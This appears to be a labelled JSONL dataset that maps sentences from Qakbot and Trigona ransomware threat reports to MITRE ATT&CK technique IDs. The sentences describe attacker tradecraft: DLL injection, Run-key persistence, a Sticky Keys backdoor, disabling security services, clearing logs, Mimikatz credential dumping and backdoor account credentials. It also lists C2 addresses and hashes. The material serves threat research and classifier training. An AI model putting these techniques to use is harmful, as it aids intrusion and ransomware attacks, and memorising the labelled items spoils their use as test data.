{"sentence": "The decoded DLL is then executed using rundll32 and injects Qakbot into wermgr.exe.", "labels": ["T1055", "T1140", "T1218.011"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Figure 1 Summary of Qakbot's infection chain as seen on February 22, 2023.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "How did we find it? MDR for Endpoint identified the ISO shortcut and certutil behavior.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Our team of 24/7 SOC Cyber Analysts triaged the case, isolated the host and alerted the customer.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "As mentioned in our previous TRU Positive, it’s probable detection of this filetype has improved.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "It’s unlikely that the OneNote filetype has been abandoned, and continued vigilance and blocking at perimeter gateways is recommended.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "ISO image files have shown to be a viable vehicle for malware delivery and execution since emerging as a popular alternative to macro-enabled documents in early 2022.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "ISO images can be mounted natively with a click of a button, displaying as a folder to the end user.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The use of ISO images has seen some iterative improvements throughout the last year by threats such as Qakbot.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "This includes encapsulating the image in one or more filetypes (Zips, PDFs, HTML), padding the contents with benign data or chaining together a series of scripts to decode or unpack the final payload.", "labels": ["T1027", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "In this case, the Qakbot Zip and ISO image were retrieved by the victim using a link included in an email.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "It included a standalone file padded with over 200MB of blank spaces, likely to impede analysis of the decompressed ISO file.", "labels": ["T1027"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Recommendations from our Threat Response Unit (TRU) Team: Audit and consider blocking OneNote (.one), ISO images (.iso), Disk Image Files (.img) and Virtual Hard Disk files (.vhd and .vhdx) on perimeter gateways.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Users should specifically be aware of the threat of OneNote documents for malware delivery.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Indicator Note rtpbolamas88[.]com Qakbot Payload 92.97.203.51 Qakbot C2 90.78.138.217 90.104.22.28 86.99.54.39 86.225.214.138 86.202.48.142 82.127.204.82 81.229.117.95 80.47.57.131 80.13.205.69 72.203.216.98 71.212.147.224 67.10.175.47 49.245.82.178 217.165.1.53 213.67.255.57 190.75.95.164 184.176.35.223 149.74.159.67 109.11.175.42 107.146.12.26 103.140.174.19 eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Trigona ransomware is a relatively new strain that security researchers first discovered in late October 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 researchers identified two new Trigona ransom notes in January 2023 and two in February 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Trigona’s ransom notes are unique; rather than the usual text file, they are instead presented in an HTML Application with embedded JavaScript containing unique computer IDs (CID) and victim IDs (VID).", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Palo Alto Networks helps detect and prevent Trigona ransomware with the following products and services: Cortex XDR, Prisma Cloud and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire) and through incident response.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Table of Contents Trigona OverviewRansomware AnalysisRansomware BinaryRansom NoteVictimologyLeak Site AnalysisSimilarities to CryLock RansomwareTools and TechniquesTTPsConclusionIndicators of CompromiseAdditional ResourcesProduct Protection Guide Trigona Overview The first mention of Trigona, also the name of a family of stingless bees, comes from a tweet by security researchers in late October 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 consultants also have seen Trigona firsthand in the course of incident response.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 researchers have observed Trigona’s threat operator engaging in behavior such as obtaining initial access to a target’s environment, conducting reconnaissance, transferring malware via remote monitoring and management (RMM) software, creating new user accounts and deploying ransomware.", "labels": ["T1219"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ransomware Analysis Ransomware Binary Unit 42 obtained and analyzed a sample of the Trigona ransomware binary, named svhost.exe.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Upon execution, the ransomware binary uses TDCP_rijndael (a Delphi AES library) to encrypt files.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The ransomware then appends the ._locked file extension, modifies registry keys to maintain persistence, and drops ransom notes.", "labels": ["T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The ransomware binary supports the following command line arguments: Argument Description /full Performs all functions of the ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Encrypts both local and network files.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Creates two registry keys for persistence, one for the ransomware binary and another for the ransom note.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "/!autorun Skips creation of registry keys for persistence /test_cid “test” Overwrites default victim generated CID and replace with “test” value /test_vid “test” Overwrites default VID and replace with “test” value /p, /path", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "“path” Encrypts only files contained within specified path /!local Does not encrypt local system files, only encrypts files on local network /!lan Does not encrypt local network files, only encrypts files on local system /autorun_only “path” Creates registry key for persistence only.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Allows for optional “path” to be provided to override default path, does not encrypt files The ransomware establishes persistence through the creation of two keys in CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The other key ensures that the ransom note is opened every time the user logs in.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ransom Note Trigona’s ransom note is dropped to the system with the name how_to_decrypt.hta.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The HTML code in this file contains embedded JavaScript functionality, which displays ransom note details as shown below in Figure 1.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Sample Trigona ransom note.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 researchers observed that the JavaScript within the ransom note contains the following information: A uniquely generated CID and VID A link to the negotiation Tor portal An email address to contact.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Figure 2. Embedded JavaScript containing campaign ID and victim ID.Victimology By looking at the victim ID in the embedded JavaScript in the Trigona ransom notes, we were able to identify at least 15 potential victims that were compromised in December 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The companies impacted were in the United States, Italy, France, Germany, Australia and New Zealand.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Their ransom note pointed the victims to their negotiation portal instead.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "During the investigation of this ransomware family, we observed that a researcher identified a leak site attributed to Trigona hosted on the IP address 45.227.253[.]99.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 researchers pivoted on the SSH key for 45.227.253[.]99 and identified three other IP addresses related to Trigona’s infrastructure: 45.227.253[.]106 45.227.253[.]98 45.227.253[.]107 Each IP shares the same SSH key of ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMjqeyIfJyuimtE414TBCxN+lHleN5/P3CNiD4uln5xyHjyw4muLePQj2y3yOJ7GLlTvjrheWlrot3REko99eKQ=. IPs 45.227.253[.]99 and 45.227.253[.]106 hosted web servers on port 8000, while 45.227.253[.]98 and 45.227.253[.]107 hosted no web services.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The “@ Place a bid” button contained a mailto link to auction@mailthink[.]net.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Trigona leak site.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "While the leak site was active, there were four victims: Victim 1 has a near-duplicate post on the BlackCat (ALPHV) leak site and a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Victim 2 has a duplicate post on the BlackCat (ALPHV) leak site and a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "It’s unclear whether Victim 2 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Victim 3 has an associated ransom note on VirusTotal and a countdown timer of just over 30 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Victim 4 is not mentioned on any other ransomware gang’s leak site and has a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Unit 42 did not identify any associated ransom notes and it’s unclear whether Victim 4 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "NetScan Unit 42 analysts recovered the NetScan output and noticed that it contained Cyrillic characters, as shown below in Figure 6.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Changing the default language of NetScan to Russian is an option that can be configured upon initial installation.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "NetScan output that operator(s) left on disk containing Cyrillic characters.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "After conducting reconnaissance, Trigona operators used Splashtop – a remote access and management (RMM) tool – to transfer the following malware into the target’s environment.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Start.bat Start.bat is a batch script that performs the following activities: It creates a new folder at C:\\temp It copies other malicious batch and EXE files from a compromised internal Server Message Block (SMB) server to the newly created temp folder It executes Turnoff.bat Turnoff.bat Turnoff.bat is a cleanup script used to remove evidence of the attack on a system.", "labels": ["T1027", "T1059.003", "T1570"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "It does so by performing the following activities: Clearing the Recycle Bin of any mounted drive Attempting to use sc stop and taskkill to stop over 100 services related to various areas ranging from remote desktop tools to Windows Defender Attempting to stop services related to VMware, Hyper-V and SQL Ending several running tasks related to the stopped services mentioned above Clear Windows Event Logs (using wevutil cl)", "labels": ["T1562.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The scattershot variety of services and tasks that turnoff.bat stops could suggest that the tool is attempting to ensure that a wider variety of systems are encrypted.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Newuser.bat Newuser.bat is a batch script that creates a new user with the name fredla and the password Qw123456.", "labels": ["T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "It then adds the fredla user to the local groups Administrator and Remote Desktop Users.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Threat actors sometimes create privileged user accounts to keep access to target systems without having to install persistent remote access tools on the system.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "This version of Mimikatz has been compressed using UPX.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "While UPX is often legitimately used to reduce file size, we have observed threat actors utilizing UPX and other packing programs to evade static detection of the underlying payload.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The MD5 hash of the password is then calculated, and if it is equal to 4dbf44c6b1be736ee92ef90090452fc2, the program will continue running.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The password required to achieve the MD5 hash is boris.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Among its many legitimate uses, Unit 42 researchers have most often observed Mimikatz being leveraged maliciously by threat actors in the following ways: Credential Loading Mimikatz loads credentials from various sources such as Windows memory, Local Security Authority Subsystem Service (LSASS) process and the Windows registry.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Credential Dumping The tool then extracts and dumps the credentials, including usernames and passwords, hashes, and Kerberos tickets to the screen or to a file.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Credential Injection The tool can also inject the manipulated credentials into other processes, allowing the user to impersonate another user and gain access to restricted resources.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "DC4.exe DC4.exe is a small, UPX-packed password protected binary that generates and executes an embedded batch file.", "labels": ["T1027", "T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Like DC2.exe, the password to allow the binary to run is boris.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "This is a common method of creating a “Sticky Keys backdoor” that allows for the creation of a command prompt with NT AUTHORITY\\SYSTEM privileges.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Opens specific ports on the firewall to allow remote desktop connections using the netsh command.", "labels": ["T1021.001", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Creates a new user account with the username sys and password Mm1518061+-, and adds this user to the Administrator and Remote Desktop Users groups.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "DC6.exe DC6.exe is an installer for the publicly available tool Advanced Port Scanner, wrapped up in an Inno Setup installer package.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Advanced Port Scanner is a tool that is commonly abused by threat actors for network scanning and mapping, for lateral movement and discovery purposes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Wrapping Advanced Port Scanner in Inno Setup adds an additional layer of obfuscation to the code, and it is likely to evade static signature detection, forcing dynamic analysis to determine functionality rather than relying on traditional static code signatures.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "TTPs Tactic / Technique Notes TA0002 Execution T1072.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Software Deployment Tools Trigona operators use Splashtop to move laterally and transfer malware between compromised hosts in the victim’s environment.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "TA0003 Persistence T1546.008.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Accessibility Features DC4.exe creates a batch script that, when executed, creates a “Sticky Keys backdoor” that allows for creation of a command prompt with NT AUTHORITY\\SYSTEM privileges. T1136.", "labels": ["T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Create Account Newuser.bat creates a new user with the username fredla and password Qw123456.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Account Manipulation Trigona operators compromise administrator accounts and use them to conduct malicious activities, such as executing NetScan.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Obfuscated Files or Information Trigona operators use UPX to pack DC2.exe and DC4.exe to avoid static signature detection.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "For DC6.exe, Trigona hid the installer for Advanced Port Scanner within Inno Setup installer to evade static signature detection. T1112.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Modify Registry DC4.exe creates a batch script that, when executed, modifies the Windows Registry to allow remote desktop connections.", "labels": ["T1059.003", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Disable or Modify System Firewall Trigona operators open up an Remote Desktop Protocol (RDP) port in the firewall with DC4.exe. T1070.001.", "labels": ["T1021.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Indicator Removal: Clear Windows Event Logs Trigona operators use turnoff.bat to clear event logs via wevtutil cl. T1070.004.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "T1036.004.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Masquerade Task or Service Trigona’s ransomware binary was named svhost.exe to mimic the legitimate Windows binary svchost.exe.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Credentials from Password Stores Trigona operators use Mimikatz to dump passwords. T1003.001.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "OS Credential Duping: LSASS Memory Trigona operators use Mimikatz to dump passwords from LSASS.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "TA0007 Discovery T1046.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Network Service Discovery Trigona operators use NetScan to enumerate hosts within victims’ domains that might be vulnerable to remote software exploitation. T1069.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Permission Groups Discovery Trigona operators use NetScan to enumerate the security-enabled local group membership of the Administrators group. T1021.001.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "TA0011 Command and Control T1105.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ingress Tool Transfer Trigona operators utilize Splashtop to transfer netscan.exe, netscan.lic, netscan.xml, newuser.bat, start.bat and turnoff.bat. T1219.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Remote Access Software Trigona operators install and execute remote access tools such as Splashtop on targeted systems.", "labels": ["T1219"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Data Encrypted for Impact Trigona ransomware encrypts files with the ._locked file extension.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "T1489.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Service Stop Turnoff.bat uses sc stop and taskkill to stop services related to remote desktop tools (e.g., ScreenConnect, LogMeIn and TeamViewer), as well as VMware, Hyper-V and SQL. T1490.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Inhibit System Recovery Trigona operators use Turnoff.bat to delete Volume Shadow Copies. Conclusion Trigona is a newer strain of ransomware that, to date, has had minimal coverage by security news articles.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "We hope that shining a light on Trigona and its uncommon technique of using password-protected executables to obfuscate malware helps defenders better protect their organizations against this threat.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Due to the stream of victims identified by the Unit 42 team and Trigona’s currently developing leak site, the operator and/or affiliates behind the ransomware likely will continue (and possibly even ramp up) its malicious activity.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Palo Alto Networks customers receive protections from Trigona threats through the following products: WildFire currently lists all known binaries of Trigona as malicious, which will trigger alerting within Prisma Cloud and Cortex XDR.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Additionally, Prisma Cloud Defender agents can be installed on Windows 2016 and 2019 servers, as well as on Windows Docker Container hosts.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Learn more about the Cyber Threat Alliance. Indicators of Compromise IoC Note bef87e4d9fcaed0d8b53bce84ff5c5a70a8a30542100ca6d7822cbc8b76fef13 svhost.exe (Ransomware Binary) 853909af98031c125a351dad804317c323599233e9b14b79ae03f9de572b014e Splashtop 24123421dd5b78b79abca07bf2dac683e574bf9463046a1d6f84d1177c55f5e5 Netscan 4724EE7274C31C8D418904EE7E600D92680A54FECDAC28606B1D73A28ECB0B1E Netscan 9c8a4159166062333f2f74dd9d3489708c35b824986b73697d5c34869b2f7853 Netscan e22008893c91cf5bfe9f0f41e5c9cdafae178c0558728e9dfabfc11c34769936 Netscan 8d069455c913b1b2047026ef290a664cef2a2e14cbf1c40dce6248bd31ab0067 Netscan 544a4621cba59f3cc2aeb3fe34c2ee4522593377232cd9f78addfe537e988ddc start.bat a15c7b264121a7c202c74184365ca13b561fb303fb8699299039a59ab376adc6 turnoff.bat b7fba3abee8fd3bdac2d05c47ab75fdaa0796722451bed974fb72e442ab4fefd newuser.bat e5cf252041045b037b9a358f5412ae004423ad23eac17f3b03ebef7c8147a3bb Mimikatz 5603d4035201a9e6d0e130c561bdb91f44d8f21192c8e2842def4649333757ab Mimikatz 69f245dc5e505d2876e2f2eec87fa565c707e7c391845fa8989c14acabc2d3f6 Mimikatz phandaledr@onionmail[.]org Ransom note contact email farusbig@tutanota[.]com Ransom note contact email how_to_decrypt.hta Ransom note name 94979b61bba5685d038b4d66dd5e4e0ced1bba4c41ac253104a210dd517581b8 DC2.exe 9c8a4159166062333f2f74dd9d3489708c35b824986b73697d5c34869b2f7853 DC4.exe c5d09435d428695ce41526b390c17557973ee9e7e1cf6ca451e5c0ae443470ca DC6.exe 3x55o3u2b7cjs54eifja5m3ottxntlubhjzt6k6htp5nrocjmsxxh7ad[.]onion Trigona TOR negotiation portal 45.227.253[.]99 IP address associated with Trigona activity 45.227.253[.]106 IP address currently hosting Trigona leak site 45.227.253[.]98 IP address associated with Trigona activity 45.227.253[.]107 IP address associated with Trigona activity Additional Resources Product Protection Guide Product/Service Course of Action Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The below courses of action mitigate the following techniques: Command and Scripting Interpreter [T1059], Create Account", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1136], Account Manipulation [T1098], Local Account [T1136.001], File Deletion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1070.004], Modify Registry", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1112], Disable or Modify Tools [T1562.001], Disable or Modify System Firewall", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1562.004], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Credentials from Password Stores", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1555], OS Credential Dumping [T1003], LSASS Memory [T1003.001], System Network Configuration Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1069],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1021.001], Lateral Tool Transfer [T1570], Software Deployment Tools", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1072], Registry Run Keys / Startup Folder [T1547.001], Accessibility Features", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1546.008], Bypass User Account Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1548.002] Next-Generation Firewalls Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Define at least one 'Include Network'.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Deploy XSOAR Playbook - Port Scan Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Configure Host Firewall Profile Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Deploy XSOAR Playbook - Port Scan Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Configure Host Firewall Profile Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Registry Run Keys / Startup Folder [T1547.001], Accessibility Features", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The below courses of action mitigate the following techniques: File Deletion [T1070.004], Modify Registry", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Bypass User Account Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1548.002] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1070.001], Masquerade Task or Service [T1036.004] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Credential Access The below courses of action mitigate the following techniques: Credentials from Password Stores", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1555], OS Credential Dumping [T1003], LSASS Memory [T1003.001] Cortex XDR Prevent Enable Anti-Exploit Protection Enable Anti-Malware Protection Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "[T1021.001], Lateral Tool Transfer [T1570] Next-Generation Firewalls Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
